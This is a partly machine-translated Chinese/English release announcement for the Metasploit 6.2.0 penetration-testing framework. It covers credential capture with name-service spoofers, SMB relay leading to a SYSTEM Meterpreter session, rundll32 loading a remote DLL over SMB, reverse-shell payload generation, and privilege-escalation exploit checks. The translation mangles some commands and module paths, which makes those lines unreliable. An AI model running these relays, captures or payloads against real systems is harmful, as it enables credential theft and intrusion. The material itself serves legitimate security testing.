最后更新于2022年6月9日星期四16:46:00 GMT

Metasploit 6.2.0 has been released, 标志着包含新模块的另一个里程碑, features, improvements, and bug fixes. Since Metasploit 6.1.0(2021年8月)直到最新的Metasploit 6.2.0 release we’ve added:

  • 138 new modules
  • 148增强和特性
  • 156 bug fixes

Top modules

每周,Metasploit团队都会发布一个 Metasploit wrap-up 附带新的Metasploit模块的详细发布说明. 下面是一些最近的模块列表,渗透测试人员告诉我们他们正在积极地使用这些模块(并取得了成功)。.

Remote Exploitation

Local Privilege Escalation

Capture plugin

捕获凭证是许多攻击性安全测试人员的关键和早期阶段. 多年来,Metasploit通过协议特定的模块促进了这一点 auxiliary/server/capture namespace. 用户可以单独启动和配置这些模块,但是从MSF 6开始.2.0, a new capture plugin 也可以为用户简化这个过程吗. capture插件目前在同一个侦听IP地址上启动13个不同的服务(包括17个启用ssl的版本),包括通过Meterpreter的远程接口.

After running the load capture command, the captureg 命令可用(用于Capture-Global),然后提供启动和停止子命令. 配置文件可用于选择要启动的各个服务.

在下面的示例中,加载插件,然后在192上启动所有默认服务.168.123.128 interface:

msf6 > load capture
[*]成功加载插件:Credential Capture
msf6 > captureg start --ip 192.168.123.128
将结果记录到/home/kali/.msf4 / logs /捕获/ capture_local_20220518185845_205939.txt
哈希结果存储在/home/kali/中.msf4 /战利品/捕获/ capture_local_20220518185845_846339
[+]身份验证捕获:DRDA (DB2、Informix、Derby)启动
[+]认证捕获:FTP启动
[+] HTTP Client MS Credential Catcher启动
[+] HTTP Client MS Credential Catcher启动
[+]认证捕获:IMAP启动
[+]认证捕获:MSSQL启动
[+]认证捕获:MySQL启动
[+]认证捕获:POP3启动
[+]认证捕获:PostgreSQL启动
[+]打印作业捕获服务启动
[+]认证捕获:SIP启动
[+] Authentication Capture: SMB started
[+]身份验证捕获:SMTP启动
[+]认证捕获:Telnet启动
[+]认证捕获:VNC启动
[+]认证捕获:FTP启动
[+]认证捕获:IMAP启动
[+]认证捕获:POP3启动
[+]身份验证捕获:SMTP启动
[+] NetBIOS名称服务欺骗启动
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs

开设一个新的终端与 tail 命令将显示已捕获的所有内容. 例如,NTLMv2-SSP通过SMB捕获模块详细说明:

$ tail -f  ~/.msf4 / logs /捕获/ capture_local_20220518185845_205939.txt

[+] Auth Capture Server接收到SMB连接!
[SMB] NTLMv2-SSP Client: 192.168.123.136
[SMB] NTLMv2-SSP用户名:EXAMPLE\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::EXAMPLE:1122334455667788:c77cd466c410eb0721e4936bebd1c35b:0101000000000000009391080b6bd8013406d39c880c5a66000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f007500730007000800009391080b6bd801060004000200000008003000300000000000000001000000002000009eee3e2f941900a084d7941d60cbd5e04f91fbf40f59bfa4ed800b060921a6740a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100320033002e003100320038000000000000000000

也可以直接登录到标准输出,而不使用 tail command:

captureg start --ip 192.168.123.128 --stdout

SMB v3 server support

这项工作建立在SMB v3客户机支持的基础上 added in Metasploit 6.0.

Metasploit 6.2.0包含一个新的独立工具,用于生成允许对当前工作目录进行只读访问的SMB服务器. 这个新的SMB服务器功能支持SMB v1/2/3,以及对SMB v3的加密支持.

Example usage:

ruby tools/smb_file_server.——用户名metasploit——密码密码——共享点

这对于将文件复制到远程目标或运行远程dll非常有用:

copy \\192.168.123.1\home\example.txt .
rundll32.exe \\192.168.123.1\home\example.dll,0

所有剩余的Metasploit模块现在都已更新为支持SMB v3. Some examples:

  • 利用/ windows / smb / smb_delivery:该模块输出一个rundll32命令,您可以在远程机器上调用该命令来打开会话, such as rundll32.exe \\192.168.123.128\tHKPx\WeHnu,0
  • exploit/windows/smb/capture:该模块创建一个模拟SMB服务器,该服务器在返回之前接受凭据 NT_STATUS_LOGON_FAILURE. Supports SMB v1, SMB v2, 和SMB v3,并捕获NTLMv1和NTLMv2哈希值, 哪些可以用于离线密码破解
  • 利用/ windows / dcerpc / cve_2021_1675_printnightmare:此更新是一个改进的, 使用新的SMB服务器的全包漏洞, 使用户不需要处理Samba.
  • 利用/ windows / smb / smb_relay:下面将详细介绍.

Enhanced SMB relay support

The windows/smb/smb_relay 已更新,因此用户现在可以在SMB版本2和3上中继. In addition, 该模块现在可以选择多个目标,Metasploit将智能循环通过,以确保它不会浪费传入的连接.

Example module usage:

use windows/smb/smb_relay
set RELAY_TARGETS 192.168.123.4 192.168.123.25
set JOHNPWFILE ./relay_results.txt
run

捕获传入请求的哈希值, 并被转发到其他目标以运行psexec:

msf6 exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22
[*]已收到\admin请求
[*]中继到下一个目标smb://192.168.123.4:445
[+] identity: \admin -成功验证中继目标smb://192.168.123.4:445
[SMB] NTLMv2-SSP Client: 192.168.123.4
[SMB] NTLMv2-SSP用户名:\admin
[SMB] NTLMv2-SSP Hash       : admin:::ecedb28bc70302ee:a88c85e87f7dca568c560a49a01b0af8:0101000000000000b53a334e842ed8015477c8fd56f5ed2c0000000002001e004400450053004b0054004f0050002d004e0033004d00410047003500520001001e004400450053004b0054004f0050002d004e0033004d00410047003500520004001e004400450053004b0054004f0050002d004e0033004d00410047003500520003001e004400450053004b0054004f0050002d004e0033004d00410047003500520007000800b53a334e842ed80106000400020000000800300030000000000000000000000000300000174245d682cab0b73bd3ee3c11e786bddbd1a9770188608c5955c6d2a471cb180a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e003100320033002e003100000000000000000000000000

[*]已收到\admin请求
[*] identity: \admin -所有目标中继到
[*] 192.168.123.4:445 -选择PowerShell目标
[*]已收到\admin请求
[*] identity: \admin -所有目标中继到
[*] 192.168.123.4:445 -执行负载...
[+] 192.168.123.4:445 -服务启动超时,如果运行命令或非服务可执行文件则OK...
[*]发送阶段(175174字节)到192.168.123.4
[*]计量器会话1打开(192.168.123.1:4444 -> 192.168.123.4:52771 ) at 2022-03-02 22:24:42 +0000

一个会话将在中继目标上用相关凭证打开:

msf6 exploit(windows/smb/smb_relay) > sessions

Active sessions
===============

  Id名称类型信息连接
  --  ----  ----                     -----------                            ----------
  1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ DESKTOP-N3MAG5R.168.123.1:4444 -> 192.168.123.4:52771  (192.168.123.4)

详情请参阅 Metasploit SMB Relay文档.

改进的pivot / NATed服务支持

Metasploit为库添加了提供侦听服务(如HTTP)的特性, FTP, LDAP, 等),以允许它们绑定到一个显式的IP地址和端口组合,这是独立于什么是典型的SRVHOST选项. 这对于目标需要通过NAT或端口转发配置连接到Metasploit的场景中可能使用的模块特别有用. 此特性的使用模仿了reverse_tcp和reverse_http(s)负载器提供的现有功能.

当用户需要目标器连接到10时.2.3.4、Metasploit用户将其设置为SRVHOST. If, however, 该IP地址是路由器具有端口转发的外部接口, Metasploit将无法绑定到它. To fix that, 用户现在可以将ListenerBindAddress选项设置为Metasploit可以侦听的选项-在这种情况下, 路由器将转发传入连接的IP地址.

以网络配置为例:

Private IP: 172.31.21.26 (Metasploit可以绑定到的地方)
External IP: 10.2.3.4(目标连接到Metasploit)

Metasploit模块命令如下:

#设置目标与Metasploit的连接位置. ListenerBindAddress是一个新选项.
set srvhost 10.2.3.4
设置ListenerBindAddress 172.31.21.26

#设置Metasploit将绑定到哪里. ReverseListenerBindAddress是一个已经存在的选项.
set lhost 10.2.3.4
设置ReverseListenerBindAddress 172.31.21.26

调试Meterpreter会话

现在有两种调试Meterpreter会话的方法:

  1. 记录msfconsole和Meterpreter之间的所有网络请求和响应.e. TLV packets
  2. 生成带有额外日志记录的自定义Meterpreter调试构建

Log Meterpreter TLV packets

这可以在任何Meterpreter会话中启用,并且不需要特殊的调试Metasploit构建:

msf6 > setg SessionTlvLogging true
SessionTlvLogging => true

运行时记录网络流量的示例 getenv Meterpreter command:

meterpreter > getenv USER

SEND: #
  #
  #
]>

RECV: #
  #
  #
  #
  #
    #
  ]>
]>

Environment Variables
=====================

Variable  Value
--------  -----
USER      demo_user

Meterpreter debug builds

我们在Meterpreter有效负载生成中添加了其他选项,用于生成具有附加日志语句的调试构建. 这些有效负载对于调试Meterpreter会话非常有用, 在开发新的Meterpreter功能时, 或用于提出Metasploit问题报告等. 要选择具有调试功能的预构建Meterpreter有效负载,请设置 MeterpreterDebugBuild to true. 还支持通过设置将日志输出写入标准输出或远程目标上的文件 MeterpreterDebugLogging to rpath:/tmp/meterpreter_log.txt.

例如,在msfconsole中,你可以生成一个新的有效载荷并创建一个处理程序:

使用负载/ python / meterpreter_reverse_tcp
generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false
to_handler

运行负载将显示Meterpreter日志输出:

$ python3 shell.py
DEBUG:root:[*] running method core_negotiate_tlv_encryption
DEBUG:root:[*]协商TLV加密
DEBUG:root:[*] RSA key: 30820122300d06092a864886f70d01010105000382010f003082010a0282010100aa0f09225ff311d136b7c2ed02e5f4c819a924bd59a2ba67ea3e36c837c1d28ba97db085acad9374a543ad0709006d835c80aa273138948ec9ff699142405819e68b8dbc3c04300dc2a93a5be4be2263b69e8282447b6250abad8056de6e7f83b20c6151d72af63c908fa5b0c3ab3a4ac92d8b335a284b0542e3bf9ef10456024df2581b22f233a84e69d41d721aa00e23ba659c4420123d5fdd78ac061ffcb74e5ba60fece415c2be982df57d13afc107b8522dc462d08247e03d63b0d6aa639784e7187384c315147a7d18296f09495ba7969da01b1fb49097295792572a01acdaf7406f2ad5b25d767d8695cc6e33d33dfeeb158a6f50d43d07dd05aa19ff0203010001
调试:root:[*] AES密钥:0x121565e60770fccfc7422960bde14c12193baa605c4fdb5489d9bbd6b659f966
DEBUG:root:[*] Encrypted AES key: 0x741a972aa2e95260279dc658f4b611ca2039a310ebb834dee47342a5809a68090fed0a87497f617c2b04ecf8aa1d6253cda0a513ccb53b4acc91e89b95b198dce98a0908a4edd668ff51f2fa80f4e2c6bc0b5592248a239f9a7b30b9e53a260b92a3fdf4a07fe4ae6538dfc9fa497d02010ee67bcf29b38ec5a81d62da119947a60c5b35e8b08291825024c734b98c249ad352b116618489246aebd0583831cc40e31e1d8f26c99eb57d637a1984db4dc186f8df752138f798fb2025555802bd6aa0cebe944c1b57b9e01d2d9d81f99a8195222ef2f32de8dfbc150286c122abdc78f19246e5ad65d765c23ba762fe95182587bd738d95814a023d31903c2a46
DEBUG:root:[*] TLV加密排序
DEBUG:root:[*]发送响应报文
[*]运行方法core_set_session_guid
DEBUG:root:[*]发送响应报文
DEBUG:root:[*]运行方法core_enumextcmd
DEBUG:root:[*]发送响应报文
DEBUG:root:[*]运行方法core_enumextcmd
DEBUG:root:[*]发送响应报文
... etc ...

For full details, see the 调试Meterpreter Sessions文档.

User-contributable docs

我们现在已经发布了Metasploit的用户贡献文档,可在 http://docs.metasploit.com/. 这个新网站为多个主题提供了可搜索的信息来源,包括:

Contributions are welcome, Markdown文件现在可以在Metasploit框架仓库中找到, under the docs folder.

本地漏洞建议改进

The post /多/侦察/ local_exploit_suggester post模块可用于遍历多个相关的Metasploit模块,并自动检查可能导致权限升级的本地漏洞.

Now with Metasploit 6.2, 此模块已更新,修复了许多错误, 以及改进的用户体验,更清楚地突出哪些模块是可行的:

msf6 post(multi/recon/local_exploit_suggester) > run session=-1
... etc ...
[*]::1 - session 3的有效模块:
============================
 #名称潜在漏洞?  Check Result
 -   ----                                                                -----------------------  ------------
 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec是攻击目标存在漏洞.
 2 exploit/linux/local/ cve_2022_0847_dirtypype是攻击目标存在漏洞. 发现Linux内核版本.14.0
 3 exploit/linux/local/cve_2022_0995_watch_queue是攻击目标存在漏洞.
 4 exploit/linux/local/desktop_privilege_escalation是攻击目标存在漏洞.
 5 exploit/linux/local/network_manager_vpnc_username_priv_esc是服务正在运行, but could not be validated.
 6 exploit/linux/local/pkexec是服务正在运行, but could not be validated.
 7 exploit/linux/local/polkit_dbus_auth_bypass是服务正在运行, but could not be validated. 检测到polkit框架版本0.105.
 8 exploit/linux/local/su_login是攻击目标存在漏洞.
 9 exploit/android/local/futex_requeue否检查引发异常.
 10 exploit/linux/local/abrt_raceabrt_priv_esc否目标器不可利用.
 11 exploit/linux/local/abrt_sosreport_priv_esc否目标器不可利用.
 12 exploit/linux/local/af_packet_chocobo_root_priv_esc否目标器不可利用. Linux kernel 5.14.0-kali4-amd64 #1不容易受到攻击
 13 exploit/linux/local/af_packet_packet_set_ring_priv_esc否目标器不可利用.
 14 exploit/linux/local/apport_abrt_chroot_priv_esc否目标器不可利用.
 15 exploit/linux/local/asan_suid_executable_priv_esc否检查异常.
 16 exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc否目标器不可利用.

Setting the option verbose=true 现在还会突出显示由于会话平台/arch/类型不匹配而未被视为模块建议阶段一部分的模块吗. 这对于评估可能需要从shell会话手动迁移到Meterpreter的模块非常有用, 或从Python Meterpreter到本地Meterpreter以获得本地特权升级.

Upcoming roadmap work

除了正常的模块开发发布周期之外, Metasploit团队现在已经开始增加Kerberos身份验证支持,这是Metasploit 6计划的一部分.3.0 release.

Get it

现有Metasploit框架用户可以通过 msfupdate command.

新用户可以通过我们的 nightly installers, or if you are a git user, you can clone the Metasploit Framework repo (主分支)用于最新版本.

NEVER MISS A BLOG

获取有关安全的最新故事、专业知识和新闻.